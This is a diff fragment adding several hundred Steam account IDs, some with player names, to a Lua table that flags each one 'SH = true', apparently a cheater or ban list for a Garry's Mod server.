+ ["STEAM_0:0:30475525"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19856818"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:43351291"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:43272353"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19844125"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:20742342"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:21628567"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:17880799"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:25381040"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:47407672"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:28821506"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:29951145"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:45012497"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:29309865"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:18428802"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:44231995"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:3950924"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:37768656"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:27314406"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:39151178"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:41847396"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:33348455"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:35864181"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:1816051"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31911048"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:26104355"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:11455628"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:5247800"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:45776064"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:37814204"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:48346538"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:32767364"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31391445"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:17104852"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:26658275"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:15612692"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:27816443"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:37946973"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:39919078"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:15930135"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:30673177"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:45552887"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19746511"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:3820407"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:19758658"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:44864516"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:10908429"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31001396"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19416161"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:36420722"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:46066"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:30826484"] = {Name = "GModSHers", SH = true}, + + ["STEAM_0:1:26299605"] = {Name = "borntoknow", SH = true}, + ["STEAM_0:0:42545823"] = {Name = "m1ningferdays", SH = true}, + ["STEAM_0:1:40354991"] = {Name = "dysfunksion", SH = true}, + ["STEAM_0:1:40892185"] = {Name = "Crackpotaroonio", SH = true}, + ["STEAM_0:0:38751730"] = {Name = "Crackpotdeano", SH = true}, + ["STEAM_0:1:34391986"] = {Name = "Cody", SH = true}, + ["STEAM_0:0:38545573"] = {Name = "vgbrunovg", SH = true}, + ["STEAM_0:0:11154803"] = {SH = true}, + ["STEAM_0:1:25796462"] = {SH = true}, + ["STEAM_0:0:47394191"] = {SH = true}, + ["STEAM_0:0:47344870"] = {SH = true}, + ["STEAM_0:1:22492087"] = {Name = "chewbaca427", SH = true}, + ["STEAM_0:0:39879112"] = {SH = true}, + ["STEAM_0:0:5995530"] = {SH = true}, + ["STEAM_0:0:22551858"] = {SH = true}, + ["STEAM_0:0:37649724"] = {Name = "M1ZFIT", SH = true}, + ["STEAM_0:0:20928928"] = {Name = "Al Capone", SH = true}, + ["STEAM_0:0:27362367"] = {Name = "Black Jesus", SH = true}, + ["STEAM_0:1:25032393"] = {Name = "shockwave513/iParadox", SH = true}, + ["STEAM_0:1:46113191"] = {Name = "billsanders19/hexxus", SH = true}, + ["STEAM_0:0:26325520"] = {Name = "Hemi", SH = true}, + ["STEAM_0:1:5166810"] = {Name = "highlander2607", SH = true}, + ["STEAM_0:0:36440764"] = {Name = "ulysyss", SH = true}, + ["STEAM_0:0:24542076"] = {Name = "zurchi123/Zurchi", SH = true}, + ["STEAM_0:1:26853786"] = {Name = "vellawashere/vellawashere", SH = true}, + ["STEAM_0:0:4268664"] = {Name = "mizzhpnotiq/Supremacy", SH = true}, + ["STEAM_0:1:47029807"] = {Name = "r3tardedboi/g0thic/sodafiz10", SH = true}, + ["STEAM_0:0:31909554"] = {name = "50grands/Plushy", SH = true}, + ["STEAM_0:1:6788895"] = {Name = "nughuffer/phuzzz", SH = true}, + ["STEAM_0:0:41799917"] = {Name = "someone4958/Orfen", SH = true}, + ["STEAM_0:1:20318952"] = {Name = "harut702/nvenergy", SH = true}, + ["STEAM_0:0:38893214"] = {Name = "malteersej123/nicki0676", SH = true}, + ["STEAM_0:0:31372055"] = {Name = "nachtmaere/NachtMaere", SH = true}, + ["STEAM_0:1:12412908"] = {Name = "corystraka/mster_93", SH = true}, + ["STEAM_0:0:28307108"] = {Name = "heinserver/MrShizzle", SH = true}, + ["STEAM_0:1:26736765"] = {Name = "temponinja/Mathias242", SH = true}, + ["STEAM_0:0:48430247"] = {Name = "lwinks/Lemmi", SH = true}, + ["STEAM_0:0:10089448"] = {Name = "kris114", SH = true}, + ["STEAM_0:0:33575136"] = {Name = "fbto4", SH = true}, + ["STEAM_0:0:28229396"] = {Name = "SS.Soulreaper[Sec.]", SH = true}, + ["STEAM_0:1:47659657"] = {Name = "BobbyHO", SH = true}, + ["STEAM_0:0:26511409"] = {Name = "Jaxzte", SH = true}, + ["STEAM_0:1:37022131"] = {Name = "Gregy", SH = true}, + ["STEAM_0:1:47574863"] = {Name = "raffghan", SH = true}, + ["STEAM_0:1:3472333"] = {SH = true}, + ["STEAM_0:1:31505802"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:0:39163312"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:20099256"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:22395794"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:26149157"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:40740032"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:0:37589369 "] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:20099256"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:22395794"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:27062980"] = {Name = "naldonali", SH = true}, + ["STEAM_0:1:22143785"] = {SH = true}, + ["STEAM_0:0:47477583"] = {SH = true}, + ["STEAM_0:1:19525838"] = {SH = true}, + ["STEAM_0:1:47403831"] = {SH = true}, + ["STEAM_0:0:25268506"] = {SH = true}, + ["STEAM_0:0:44978020"] = {SH = true}, + ["STEAM_0:0:28581801"] = {SH = true}, + ["STEAM_0:1:33687499"] = {Name = "sebzilla", SH = true}, + ["STEAM_0:0:35034428"] = {SH = true}, + ["STEAM_0:1:699216"] = {SH = true}, + ["STEAM_0:1:42186117"] = {SH = true}, + ["STEAM_0:1:33518480"] = {SH = true}, + ["STEAM_0:1:19896283"] = {SH = true}, + ["STEAM_0:1:44677843"] = {SH = true}, + ["STEAM_0:0:32800137"] = {SH = true}, + ["STEAM_0:0:23751500"] = {SH = true}, + ["STEAM_0:0:42701927"] = {SH = true}, + ["STEAM_0:1:25015916"] = {SH = true}, + ["STEAM_0:0:25348067"] = {SH = true}, + ["STEAM_0:0:47850821"] = {Name = "wzrd", SH = true}, + ["STEAM_0:1:22562649"] = {SH = true}, + ["STEAM_0:1:32024708"] = {SH = true}, + ["STEAM_0:1:20394702"] = {SH = true}, + ["STEAM_0:0:18780887"] = {SH = true}, + ["STEAM_0:0:35626266"] = {SH = true}, + ["STEAM_0:1:21196163"] = {SH = true}, + ["STEAM_0:0:6908073"] = {SH = true}, + ["STEAM_0:0:17730605"] = {SH = true}, + ["STEAM_0:1:20327511"] = {SH = true}, + ["STEAM_0:1:17041504"] = {SH = true}, + ["STEAM_0:0:15351737"] = {SH = true}, + ["STEAM_0:1:27090208"] = {SH = true}, + ["STEAM_0:1:17095407"] = {SH = true}, + ["STEAM_0:0:14218119"] = {SH = true}, + ["STEAM_0:0:21878708"] = {SH = true}, + ["STEAM_0:1:24365429"] = {SH = true}, + ["STEAM_0:0:37989029"] = {SH = true}, + ["STEAM_0:1:22010666"] = {SH = true}, + ["STEAM_0:0:35693267"] = {SH = true}, + ["STEAM_0:1:12226152"] = {SH = true}, + ["STEAM_0:0:27068832"] = {SH = true}, + ["STEAM_0:1:24429786"] = {SH = true}, + ["STEAM_0:0:16487722"] = {SH = true}, + ["STEAM_0:0:10770437"] = {SH = true}, + ["STEAM_0:1:40922503"] = {SH = true}, + ["STEAM_0:0:24379062"] = {SH = true}, + ["STEAM_0:0:17616994"] = {SH = true}, + ["STEAM_0:0:21809923"] = {SH = true}, + ["STEAM_0:0:25993862"] = {SH = true}, + ["STEAM_0:1:11445558"] = {SH = true}, + ["STEAM_0:0:37919749"] = {SH = true}, + ["STEAM_0:0:13983114"] = {SH = true}, + ["STEAM_0:1:26161522"] = {SH = true}, + ["STEAM_0:1:43680868"] = {SH = true}, + ["STEAM_0:1:29957855"] = {SH = true}, + ["STEAM_0:0:48861304"] = {SH = true}, + ["STEAM_0:0:35978616"] = {SH = true}, + ["STEAM_0:1:13142739"] = {SH = true}, + ["STEAM_0:1:32988394"] = {SH = true}, + ["STEAM_0:1:38418099"] = {SH = true}, + ["STEAM_0:0:47772765"] = {SH = true}, + ["STEAM_0:0:19878867"] = {SH = true}, + ["STEAM_0:0:43706051"] = {SH = true}, + ["STEAM_0:0:28182488"] = {SH = true}, + ["STEAM_0:0:26870982"] = {SH = true}, + ["STEAM_0:1:19775116"] = {SH = true}, + ["STEAM_0:0:26325272"] = {SH = true}, + ["STEAM_0:1:36452221"] = {SH = true}, + ["STEAM_0:1:11648578"] = {SH = true}, + ["STEAM_0:1:19853895"] = {SH = true}, + ["STEAM_0:0:46066 "] = {SH = true}, + ["STEAM_0:1:24283095"] = {SH = true}, + ["STEAM_0:0:31219365"] = {SH = true}, + ["STEAM_0:1:3084246"] = {SH = true}, + ["STEAM_0:0:43988463"] = {SH = true}, + ["STEAM_0:0:19938980"] = {SH = true}, + ["STEAM_0:0:29493653"] = {SH = true}, + ["STEAM_0:0:31618055"] = {Name = "xheter", SH = true}, + ["STEAM_0:0:5976660"] = {SH = true}, + ["STEAM_0:1:26845403"] = {SH = true}, + ["STEAM_0:1:32779827"] = {SH = true}, + ["STEAM_0:0:45680214"] = {SH = true}, + ["STEAM_0:0:32816200"] = {SH = true}, + ["STEAM_0:0:31700656"] = {SH = true}, + ["STEAM_0:1:14496711"] = {SH = true}, + ["STEAM_0:0:40143824"] = {Name = "Tyler main", SH = true}, + ["STEAM_0:0:22193301"] = {SH = true}, + ["STEAM_0:0:17413058"] = {SH = true}, + ["STEAM_0:1:29318515"] = {Name = "dicethir13", SH = true}, + ["STEAM_0:1:43834910"] = {SH = true}, + ["STEAM_0:1:12681987"] = {SH = true}, + ["STEAM_0:0:37727265"] = {SH = true}, + ["STEAM_0:0:27969040"] = {SH = true}, + ["STEAM_0:1:10756509"] = {SH = true}, + ["STEAM_0:1:25946562"] = {SH = true}, + ["STEAM_0:0:41645488"] = {SH = true}, + ["STEAM_0:1:30107073"] = {SH = true}, + ["STEAM_0:1:10951517"] = {SH = true}, + ["STEAM_0:0:43200946"] = {SH = true}, + ["STEAM_0:0:24940422"] = {SH = true}, + ["STEAM_0:1:19484019"] = {Name = "Cheezrguy", SH = true}, + ["STEAM_0:0:6008944"] = {SH = true}, + ["STEAM_0:0:12180686"] = {SH = true}, + ["STEAM_0:1:29374611"] = {Name = "Zach", SH = true}, + ["STEAM_0:1:37602703"] = {SH = true}, + ["STEAM_0:1:45424776"] = {SH = true}, + ["STEAM_0:0:11602053"] = {SH = true}, + ["STEAM_0:0:42306595"] = {SH = true}, + ["STEAM_0:1:11736063"] = {Name = "/FL-TPK Static", SH = true}, + ["STEAM_0:1:33321018"] = {SH = true}, + ["STEAM_0:1:20161163"] = {Name = "Uber", SH = true}, + ["STEAM_0:1:32890178"] = {SH = true}, + ["STEAM_0:0:29351959"] = {SH = true}, + ["STEAM_0:1:33316540"] = {SH = true}, + ["STEAM_0:0:30623995"] = {SH = true}, + ["STEAM_0:0:16443706"] = {SH = true}, + ["STEAM_0:0:19326995"] = {Name = "CryoShocked", SH = true}, + ["STEAM_0:1:15130452"] = {SH = true}, + ["STEAM_0:1:43977202"] = {SH = true}, + ["STEAM_0:1:33708353"] = {SH = true}, + ["STEAM_0:1:29131992"] = {SH = true}, + ["STEAM_0:1:16602699"] = {Name = "Apples", SH = true}, + ["STEAM_0:1:26344770"] = {SH = true}, + ["STEAM_0:0:40337315"] = {SH = true}, + ["STEAM_0:1:35841551"] = {SH = true}, + ["STEAM_0:1:12965434"] = {SH = true}, + ["STEAM_0:1:33289438"] = {SH = true}, + ["STEAM_0:0:15651747"] = {SH = true}, + ["STEAM_0:1:11183998"] = {SH = true}, + ["STEAM_0:0:33176714"] = {SH = true}, + ["STEAM_0:0:17473851"] = {Name = "Yuurei", SH = true}, + ["STEAM_0:0:28183970"] = {Name = "Mercury", SH = true}, + ["STEAM_0:0:21956401"] = {Name = "YouCOOL", SH = true}, + ["STEAM_0:0:26749210"] = {SH = true}, + ["STEAM_0:0:17488508"] = {SH = true}, + ["STEAM_0:1:6665394"] = {SH = true}, + ["STEAM_0:0:19155668"] = {SH = true}, + ["STEAM_0:1:20382405"] = {Name = "Yes!", SH = true}, + ["STEAM_0:0:40842961"] = {SH = true}, + ["STEAM_0:0:19809010"] = {SH = true}, + ["STEAM_0:0:24510676"] = {SH = true}, + ["STEAM_0:1:37836545"] = {SH = true}, + ["STEAM_0:0:10839552"] = {SH = true}, + ["STEAM_0:1:19916837"] = {SH = true}, + ["STEAM_0:0:20896216"] = {SH = true}, + ["STEAM_0:0:38271231"] = {SH = true}, + ["STEAM_0:0:26526813"] = {Name = "adonisg", SH = true}, + ["STEAM_0:1:37475407"] = {SH = true}, + ["STEAM_0:0:3051020"] = {SH = true}, + ["STEAM_0:0:20326946"] = {SH = true}, + ["STEAM_0:0:34404474"] = {SH = true}, + ["STEAM_0:1:6832210"] = {SH = true}, + ["STEAM_0:0:1873230"] = {SH = true}, + ["STEAM_0:1:9562715"] = {SH = true}, + ["STEAM_0:1:43969722"] = {Name = "Gabbo", SH = true}, + ["STEAM_0:0:9578624"] = {SH = true}, + ["STEAM_0:1:10457218"] = {SH = true}, + ["STEAM_0:0:21538724"] = {SH = true}, + ["STEAM_0:1:34494278"] = {SH = true}, + ["STEAM_0:0:31615557"] = {SH = true}, + ["STEAM_0:0:36820593"] = {SH = true}, + ["STEAM_0:1:20122224"] = {SH = true}, + ["STEAM_0:1:15998850"] = {SH = true}, + ["STEAM_0:1:48308696"] = {Name = "Marmaduke The Hamster", SH = true}, + ["STEAM_0:1:34051928"] = {SH = true}, + ["STEAM_0:0:43502697"] = {SH = true}, + ["STEAM_0:1:21006704"] = {SH = true}, + ["STEAM_0:0:25869397"] = {Name = "aidan", SH = true}, + ["STEAM_0:1:44781337"] = {SH = true}, + ["STEAM_0:1:22519569"] = {Name = "Master", SH = true}, + ["STEAM_0:1:21555783"] = {SH = true}, + ["STEAM_0:1:45743887"] = {Name = "Chase", SH = true}, + ["STEAM_0:0:27281484"] = {SH = true}, + ["STEAM_0:0:40161943"] = {SH = true}, + ["STEAM_0:0:19019776"] = {SH = true}, + ["STEAM_0:1:32540524"] = {SH = true}, + ["STEAM_0:1:43739862"] = {SH = true}, + ["STEAM_0:0:48289801"] = {Name = "Spawn", SH = true}, + ["STEAM_0:0:3597677"] = {SH = true}, + ["STEAM_0:1:22728174"] = {SH = true}, + ["STEAM_0:0:30887565"] = {Name = "RodNET", SH = true}, + ["STEAM_0:0:24388264"] = {Name = "Dorkslayz", SH = true}, + ["STEAM_0:0:46901883"] = {SH = true}, + ["STEAM_0:1:22308446"] = {SH = true}, + ["STEAM_0:1:25961258"] = {Name = "GameBro", SH = true}, + ["STEAM_0:0:39101463"] = {Name = "Loweski", SH = true}, + ["STEAM_0:0:17715947"] = {SH = true}, + ["STEAM_0:0:21322956"] = {SH = true}, + ["STEAM_0:0:18039563"] = {SH = true}, + ["STEAM_0:1:22857859"] = {SH = true}, + ["STEAM_0:0:33891807"] = {SH = true}, + ["STEAM_0:1:24410516"] = {SH = true}, + ["STEAM_0:1:42061868"] = {SH = true}, + ["STEAM_0:1:32188768"] = {SH = true}, + ["STEAM_0:0:23109221"] = {SH = true}, + ["STEAM_0:1:20368103"] = {SH = true}, + ["STEAM_0:1:20754655"] = {SH = true}, + ["STEAM_0:1:23836998"] = {SH = true}, + ["STEAM_0:0:9666313"] = {SH = true}, + ["STEAM_0:1:2566326"] = {SH = true}, + ["STEAM_0:1:33804755"] = {SH = true}, + ["STEAM_0:0:630053"] = {SH = true}, + ["STEAM_0:0:47967881"] = {SH = true}, + ["STEAM_0:0:29608803"] = {SH = true}, + ["STEAM_0:0:13789991"] = {SH = true}, + ["STEAM_0:0:27413348"] = {SH = true}, + ["STEAM_0:1:29826193"] = {SH = true}, + ["STEAM_0:0:26745412"] = {SH = true}, + ["STEAM_0:0:11151054"] = {SH = true}, + ["STEAM_0:1:42871254"] = {SH = true}, + ["STEAM_0:1:24452164"] = {SH = true}, + ["STEAM_0:0:29221911"] = {SH = true}, + ["STEAM_0:0:34143111"] = {SH = true}, + ["STEAM_0:1:28692773"] = {SH = true}, + ["STEAM_0:1:13737877"] = {Name = "Tiger Diaz", SH = true}, + ["STEAM_0:1:19807342"] = {Name = "mare", SH = true}, + ["STEAM_0:1:20388450"] = {SH = true}, + ["STEAM_0:0:19356922"] = {SH = true}, + ["STEAM_0:0:24213184"] = {SH = true}, + ["STEAM_0:0:24663823"] = {Name = "Edit", SH = true}, + ["STEAM_0:0:48625300"] = {SH = true}, + ["STEAM_0:1:14299044"] = {SH = true}, + ["STEAM_0:0:16625735"] = {SH = true}, + ["STEAM_0:1:24711568"] = {SH = true}, + ["STEAM_0:0:42475015"] = {SH = true}, + ["STEAM_0:1:15217338"] = {SH = true}, + ["STEAM_0:0:1114530"] = {SH = true}, + ["STEAM_0:0:19051000"] = {SH = true}, + ["STEAM_0:0:21444604"] = {SH = true}, + ["STEAM_0:0:24235484"] = {SH = true}, + ["STEAM_0:1:27290983"] = {SH = true}, + ["STEAM_0:0:7382018"] = {SH = true}, + ["STEAM_0:0:23783780"] = {SH = true}, + ["STEAM_0:1:17174283"] = {SH = true}, + ["STEAM_0:0:14610316"] = {SH = true}, + ["STEAM_0:1:12098715"] = {SH = true}, + ["STEAM_0:1:38224022"] = {SH = true}, + ["STEAM_0:1:19224720"] = {SH = true}, + ["STEAM_0:1:24435842"] = {SH = true}, + ["STEAM_0:1:22390206"] = {SH = true}, + ["STEAM_0:0:22954333"] = {SH = true}, + ["STEAM_0:1:30047963"] = {Name = "--kingzy", SH = true}, + ["STEAM_0:0:34899925"] = {SH = true}, + ["STEAM_0:1:37173161"] = {SH = true}, + ["STEAM_0:0:20018582"] = {SH = true}, + ["STEAM_0:0:25714657"] = {Name = "Rainbow Dash", SH = true}, + ["STEAM_0:1:28207569"] = {SH = true}, + ["STEAM_0:1:30665992"] = {SH = true}, + ["STEAM_0:1:47222322"] = {Name = "zac_zac_zac", SH = true}, + ["STEAM_0:1:38572580"] = {SH = true}, + ["STEAM_0:0:25687098"] = {SH = true}, + ["STEAM_0:0:38035563"] = {SH = true}, + ["STEAM_0:0:36684923"] = {SH = true}, + ["STEAM_0:1:42922839"] = {SH = true}, + ["STEAM_0:0:46481061"] = {SH = true}, + ["STEAM_0:1:2471156"] = {SH = true}, + ["STEAM_0:0:11084994"] = {SH = true}, + ["STEAM_0:1:21779583"] = {SH = true}, + ["STEAM_0:0:19038701"] = {SH = true}, + ["STEAM_0:1:12355332"] = {Name = "HeinKein [ALT]", SH = true}, + ["STEAM_0:1:26452550"] = {SH = true}, + ["STEAM_0:1:15757583"] = {SH = true}, + ["STEAM_0:1:10487209"] = {SH = true}, + ["STEAM_0:0:30714265"] = {SH = true}, + ["STEAM_0:1:1217175"] = {SH = true}, + ["STEAM_0:1:12110199"] = {SH = true}, + ["STEAM_0:0:15492378"] = {SH = true}, + ["STEAM_0:0:37588513"] = {SH = true}, + ["STEAM_0:0:32221326"] = {SH = true}, + ["STEAM_0:1:25608913"] = {SH = true}, + ["STEAM_0:0:25512219"] = {SH = true}, + ["STEAM_0:0:43716939"] = {SH = true}, + ["STEAM_0:0:39618012"] = {Name = "phoon", SH = true}, + ["STEAM_0:1:29688941"] = {SH = true}, + ["STEAM_0:0:32144549"] = {SH = true}, + ["STEAM_0:0:34175835"] = {SH = true}, + ["STEAM_0:0:23599000"] = {SH = true}, + ["STEAM_0:0:23888757"] = {SH = true}, + ["STEAM_0:1:30918162"] = {SH = true}, + ["STEAM_0:0:39233961"] = {SH = true}, + ["STEAM_0:1:31052706"] = {SH = true}, + ["STEAM_0:0:48926883"] = {Name = "Tyler alt", SH = true}, + ["STEAM_0:0:20088064"] = {SH = true}, + ["STEAM_0:0:24893931"] = {SH = true}, + ["STEAM_0:1:18704943"] = {SH = true}, + ["STEAM_0:0:19919807"] = {SH = true}, + ["STEAM_0:0:16265413"] = {SH = true}, + ["STEAM_0:0:18355021"] = {SH = true}, + ["STEAM_0:1:23240412"] = {SH = true}, + ["STEAM_0:1:37018013"] = {SH = true}, + ["STEAM_0:1:18606489"] = {SH = true}, + ["STEAM_0:1:39945838"] = {SH = true}, + ["STEAM_0:0:40475929"] = {SH = true}, + ["STEAM_0:0:26594171"] = {Name = "Sixpix", SH = true}, + ["STEAM_0:1:13402942"] = {SH = true}, + ["STEAM_0:0:24542833"] = {SH = true}, + ["STEAM_0:1:44644164"] = {SH = true}, + ["STEAM_0:1:11340452"] = {SH = true}, + ["STEAM_0:1:14133131"] = {SH = true}, + ["STEAM_0:0:39817531"] = {SH = true}, + ["STEAM_0:1:28606506"] = {SH = true}, + ["STEAM_0:0:2294681"] = {SH = true}, + ["STEAM_0:1:22119869"] = {Name = "deer", SH = true}, + ["STEAM_0:0:25270338"] = {SH = true}, + ["STEAM_0:0:25158284"] = {SH = true}, + ["STEAM_0:0:22624979"] = {SH = true}, + ["STEAM_0:0:33944948"] = {Name = "maxdavis1", SH = true}, + ["STEAM_0:0:42055458"] = {SH = true}, + ["STEAM_0:1:11726504"] = {SH = true}, + ["STEAM_0:1:41152155"] = {SH = true}, + ["STEAM_0:0:24318831"] = {SH = true}, + ["STEAM_0:0:14160421"] = {SH = true}, + ["STEAM_0:1:37962455"] = {SH = true}, + ["STEAM_0:1:47585786"] = {SH = true}, + ["STEAM_0:0:43358000"] = {Name = "isnipeu1337", SH = true}, + ["STEAM_0:1:26949104"] = {SH = true}, + ["STEAM_0:1:20690416"] = {Name = "Loke_skonken", SH = true}, + ["STEAM_0:0:26312585"] = {SH = true}, + ["STEAM_0:0:17141267"] = {SH = true}, + ["STEAM_0:1:12151307"] = {SH = true}, + ["STEAM_0:0:30231250"] = {SH = true}, + ["STEAM_0:1:14220841"] = {SH = true}, + ["STEAM_0:0:30939823"] = {SH = true}, + ["STEAM_0:0:30763145"] = {SH = true}, + ["STEAM_0:0:37589369"] = {SH = true}, + ["STEAM_0:0:8742065"] = {SH = true}, + ["STEAM_0:1:18013016"] = {SH = true}, + ["STEAM_0:1:30433726"] = {SH = true}, + ["STEAM_0:1:28822567"] = {SH = true}, + ["STEAM_0:1:7761442"] = {SH = true}, + ["STEAM_0:1:11427632"] = {Name = "SnoopDogg", SH = true}, + ["STEAM_0:1:7749131"] = {SH = true}, + ["STEAM_0:0:16163543"] = {SH = true}, + ["STEAM_0:0:27533033"] = {SH = true}, + ["STEAM_0:0:2293618"] = {SH = true}, + ["STEAM_0:1:43675285"] = {SH = true}, + ["STEAM_0:1:20911886"] = {Name = "pkillX", SH = true}, + ["STEAM_0:1:22860119"] = {SH = true}, + ["STEAM_0:0:3251161"] = {SH = true}, + ["STEAM_0:0:41802"] = {SH = true}, + ["STEAM_0:0:31127072"] = {SH = true}, + ["STEAM_0:0:14239858"] = {SH = true}, + ["STEAM_0:1:36541794"] = {SH = true}, + ["STEAM_0:0:16151265"] = {SH = true}, + ["STEAM_0:1:17510845"] = {SH = true}, + ["STEAM_0:1:5638617"] = {SH = true}, + ["STEAM_0:1:42115332"] = {SH = true}, + ["STEAM_0:1:19907912"] = {SH = true}, + ["STEAM_0:0:34929088"] = {Name = "S-K-Y-L-I-N-E-R", SH = true}, + ["STEAM_0:0:44719051"] = {SH = true}, + ["STEAM_0:1:18011105"] = {SH = true}, + ["STEAM_0:0:27566975"] = {SH = true}, + ["STEAM_0:0:40105997"] = {SH = true}, + ["STEAM_0:0:17322202"] = {SH = true}, + ["STEAM_0:0:34052885"] = {SH = true}, + ["STEAM_0:0:14691590"] = {SH = true}, + ["STEAM_0:0:25914952"] = {SH = true}, + ["STEAM_0:1:41231090"] = {SH = true}, + ["STEAM_0:0:28961696"] = {SH = true}, + ["STEAM_0:0:25345204"] = {SH = true}, + ["STEAM_0:1:18503351"] = {SH = true}, + ["STEAM_0:1:17394951"] = {Name = "Stan", SH = true}, + ["STEAM_0:1:16650255"] = {SH = true}, + ["STEAM_0:0:4601430"] = {SH = true}, + ["STEAM_0:0:27284598"] = {SH = true}, + ["STEAM_0:0:20261135"] = {SH = true}, + ["STEAM_0:1:17119446"] = {SH = true}, + ["STEAM_0:0:42375950"] = {SH = true}, + ["STEAM_0:0:1569545"] = {SH = true}, + ["STEAM_0:0:38727026"] = {SH = true}, + ["STEAM_0:0:23397918"] = {SH = true}, + ["STEAM_0:0:39875597"] = {SH = true}, + ["STEAM_0:0:31519875"] = {SH = true}, + ["STEAM_0:1:42239129"] = {SH = true}, + ["STEAM_0:1:36831604"] = {SH = true}, + ["STEAM_0:1:21421892"] = {SH = true}, + ["STEAM_0:1:15671127"] = {SH = true}, + ["STEAM_0:0:20738123"] = {SH = true}, + ["STEAM_0:1:33947987"] = {SH = true}, + ["STEAM_0:0:31109435"] = {SH = true}, + ["STEAM_0:1:22097298"] = {SH = true}, + ["STEAM_0:0:16287121"] = {SH = true}, + ["STEAM_0:1:34861960"] = {SH = true}, + ["STEAM_0:0:19402729"] = {SH = true}, + ["STEAM_0:1:15465879"] = {SH = true}, + ["STEAM_0:0:42082653"] = {SH = true}, + ["STEAM_0:0:21640864"] = {SH = true}, + ["STEAM_0:0:31211320"] = {SH = true}, + ["STEAM_0:0:42185993"] = {SH = true}, + ["STEAM_0:0:20327999"] = {SH = true}, + ["STEAM_0:0:16212192"] = {Name = "amity Mike", SH = true}, + ["STEAM_0:1:38471187"] = {SH = true}, + ["STEAM_0:0:6049044"] = {SH = true}, + ["STEAM_0:1:9679654"] = {SH = true}, + ["STEAM_0:0:32892400"] = {Name = "Trav0405", SH = true}, + ["STEAM_0:1:23860062"] = {SH = true}, + ["STEAM_0:1:24298133"] = {SH = true}, + ["STEAM_0:0:6188564"] = {Name = "Mucaeman", SH = true}, + ["STEAM_0:0:18159008"] = {SH = true}, + ["STEAM_0:1:21603250"] = {SH = true}, + ["STEAM_0:0:8406038"] = {SH = true}, + ["STEAM_0:1:44179686"] = {SH = true}, + ["STEAM_0:0:40352700"] = {SH = true}, + ["STEAM_0:1:18655301"] = {SH = true}, + ["STEAM_0:0:40211920"] = {Name = "Pep1103", SH = true}, + ["STEAM_0:0:32211033"] = {SH = true}, + ["STEAM_0:0:6019839"] = {SH = true}, + ["STEAM_0:0:30256551"] = {SH = true}, + ["STEAM_0:1:12076432"] = {SH = true}, + ["STEAM_0:1:44138147"] = {SH = true}, + ["STEAM_0:0:20924001"] = {SH = true}, + ["STEAM_0:1:31811639"] = {SH = true}, + ["STEAM_0:1:43589272"] = {SH = true}, + ["STEAM_0:0:13171952"] = {SH = true}, + ["STEAM_0:1:14736268"] = {SH = true}, + ["STEAM_0:0:16180568"] = {SH = true}, + ["STEAM_0:0:37803458"] = {SH = true}, + ["STEAM_0:0:31991429"] = {SH = true}, + ["STEAM_0:0:19318165"] = {SH = true}, + ["STEAM_0:0:16764526"] = {SH = true}, + ["STEAM_0:1:29478760"] = {SH = true}, + ["STEAM_0:1:28741409"] = {SH = true}, + ["STEAM_0:0:20375790"] = {SH = true}, + ["STEAM_0:0:1462964"] = {SH = true}, + ["STEAM_0:0:44029436"] = {SH = true}, + ["STEAM_0:1:28342224"] = {SH = true}, + ["STEAM_0:1:19812177"] = {SH = true}, + 